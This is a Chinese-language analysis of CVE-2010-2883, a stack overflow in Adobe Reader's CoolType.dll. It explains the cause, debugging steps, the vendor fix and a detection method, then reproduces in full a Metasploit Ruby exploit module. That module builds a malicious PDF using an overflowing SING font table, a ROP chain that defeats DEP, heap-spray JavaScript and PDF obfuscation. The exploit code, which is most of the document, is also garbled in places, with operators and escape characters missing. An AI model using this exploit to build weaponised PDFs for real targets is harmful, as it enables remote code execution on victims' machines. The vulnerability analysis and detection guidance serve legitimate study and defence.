一. 简介
软件名称:Adobe Reader
影响范围:7.0.0-9.3.4版本
影响平台:Windows
漏洞模块:CoolType.dll
威胁等级:高危
漏洞类型:缓冲区溢出
威胁路径:远程
机密性影响:完全的信息泄露导致所有系统文件暴露
完整性影响:系统完整性可被完全破坏
可用性影响:可能导致系统完全宕机
攻击复杂度:漏洞利用存在一定的访问条件
攻击向量:攻击者不需要获取内网访问权或本地访问权
身份认证:漏洞利用无需身份认证
二. 软件介绍
Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作（通过Adobe Acrobat制作）的PDF文档而不用担心被恶意篡改。
三. 漏洞成因
Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。
具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。
使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:
四. 漏洞分析
4.1格式分析
4.1.1 TableEntry结构在官方文档中的定义如下:
代码语言：javascript复制Typedef struct_SING
{
Char tag[4]; //SING字符串
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
}4.1.2 在该样本中,SING表的形态4.1.2 在该样本中,SING表的形
代码语言：javascript复制Char tag[4]; //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset; //00 00 01 1C
ULONG length; //00 00 1D DF
根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。
4.1.3 uniqueName域
在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。
4.2 漏洞调试
4.2.1利用IDA pro查看溢出函数的位置
4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。
4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。
4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持JavaScript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。
五. 厂商修复手段
添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。
六. 检测方法
分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。
七. Exploit
使用的exploit由Exploit-db下载,使用ruby编写。
代码语言：javascript复制
##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # aslr dep bypass, js heap spray, rop, stack bof
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # 0day found in the wild
'@sn0wfl0w', # initial analysis
'@vicheck', # initial analysis
'jduck' # Metasploit module
],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE', '2010-2883' ],
[ 'OSVDB', '67849'],
[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
# Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
[ 'Automatic', { }],
],
'DisclosureDate' => 'Sep 07 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
ttf_data = make_ttf()
js_data = make_js(payload.encoded)
# Create the pdf
pdf = make_pdf(ttf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_ttf
ttf_data = ""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close
# Build the SING table
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv')
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
#sing << "A" * (0x254 - sing.length)
sing << rand_text(0x254 - sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
ttf_data
end
def make_js(encoded_payload)
# The following executes a ret2lib using icucnv36.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0x41414141, # unused
0x4a8063a5, # pop ecx / ret
0x4a8a0000, # becomes ecx
0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as
0x4a801f90, # pop eax / ret
0x4a84903c, # becomes eax (import for CreateFileA)
# -- call CreateFileA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591")
0x10000000, # second arg - dwDesiredAccess
0x00000000, # third arg - dwShareMode
0x00000000, # fourth arg - lpSecurityAttributes
0x00000002, # fifth arg - dwCreationDisposition
0x00000102, # sixth arg - dwFlagsAndAttributes
0x00000000, # seventh arg - hTemplateFile
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
#
# This points at a neat-o block of code that ... TBD
#
# and [esp ebx*2],edi
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx 1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA)
# -- call CreateFileMappingA
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # arguments to CreateFileMappingA, hFile
0x00000000, # lpAttributes
0x00000040, # flProtect
0x00000000, # dwMaximumSizeHigh
0x00010000, # dwMaximumSizeLow
0x00000000, # lpName
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile
# -- call MapViewOfFile
0x4a80b692, # jmp [eax]
0x4a801064, # ret
0xffffffff, # args to MapViewOfFile - hFileMappingObject
0x00000022, # dwDesiredAccess
0x00000000, # dwFileOffsetHigh
0x00000000, # dwFileOffsetLow
0x00010000, # dwNumberOfBytesToMap
0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer
0x4a802196, # mov [ecx],eax / ret - save map base addr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr
0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a80aedc, # lea edx,[esp 0xc] / push edx / push eax / push [esp 0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
0x4a801f90, # pop eax / ret
0x00000034, # becomes eax
0x4a80d585, # add eax,edx / ret
0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret
0x4a842db2, # xchg eax,edi / ret
0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify
0x4a80a8a6, # execute fun block
0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy)
# -- call memcpy
0x4a80b692, # jmp [eax]
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst)
0xffffffff, # becomes second arg to memcpy (src)
0x00001000, # becomes third arg to memcpy (length)
#0x0000258b, # ??
#0x4d4d4a8a, # ??
].pack('V*')
var_unescape = rand_text_alpha(rand(100) 1)
var_shellcode = rand_text_alpha(rand(100) 1)
var_start = rand_text_alpha(rand(100) 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) 1)
var_b = rand_text_alpha(rand(100) 1)
var_d = rand_text_alpha(rand(100) 1)
var_3 = rand_text_alpha(rand(100) 1)
var_i = rand_text_alpha(rand(100) 1)
var_4 = rand_text_alpha(rand(100) 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" "u" "0" "c" "0" "c" "%u" "0" "c" "0" "c" );
while (#{var_c}.length 20 8 < #{var_s}) #{var_c} =#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} = #{var_shellcode};
#{var_b} = #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} = #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i} ) #{var_4}[#{var_i}]=#{var_3} "s";
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) 128).chr
end
result
end
def ioDef(id)
"%d 0 obj n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "x" % b
whitespace = " " * (rand(3) 1)
end
result << ">"
end
def make_pdf(ttf, js)
#swf_name = rand_text_alpha(8 rand(8)) ".swf"
xref = []
eol = "n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(11) << eol
# The AcroForm is required to get icucnv36.dll to load
pdf << nObfu("/AcroForm ") << ioRef(13) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# media box
xref << pdf.length
pdf << ioDef(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj
# resources
xref << pdf.length
pdf << ioDef(4)
pdf << nObfu("<<") << eol
pdf << nObfu("/Font ") << ioRef(6) << eol
pdf << ">>" << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(5) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# font
xref << pdf.length
pdf << ioDef(6) << nObfu("<<") << eol
pdf << nObfu("/F1 ") << ioRef(7) << eol
pdf << ">>" << eol
pdf << endobj
# ttf object
xref << pdf.length
pdf << ioDef(7) << nObfu("<<") << eol
pdf << nObfu("/Type /Font") << eol
pdf << nObfu("/Subtype /TrueType") << eol
pdf << nObfu("/Name /F1") << eol
pdf << nObfu("/BaseFont /Cinema") << eol
pdf << nObfu("/Widths []") << eol
pdf << nObfu("/FontDescriptor ") << ioRef(9)
pdf << nObfu("/Encoding /MacRomanEncoding")
pdf << nObfu(">>") << eol
pdf << endobj
# page content
content = "Hello World!"
content = ""
"0 g" eol
"BT" eol
"/F1 32 Tf" eol
"32 Tc" eol
"1 0 0 1 32 773.872 Tm" eol
"(" content ") Tj" eol
"ET"
xref << pdf.length
pdf << ioDef(8) << "<<" << eol
pdf << nObfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj
# font descriptor
xref << pdf.length
pdf << ioDef(9) << nObfu("<<")
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf << nObfu("/Flags %d" % (2**2 2**6 2**17))
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
pdf << nObfu("/FontFile2 ") << ioRef(10)
pdf << nObfu(">>") << eol
pdf << endobj
# ttf stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ttf)
pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(11) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") ioRef(12)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
###
# The following form related data is required to get icucnv36.dll to load
###
# form object
xref << pdf.length
pdf << ioDef(13)
pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
pdf << endobj
# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
xref << pdf.length
pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj
###
# end form stuff for icucnv36.dll
###
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "0d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
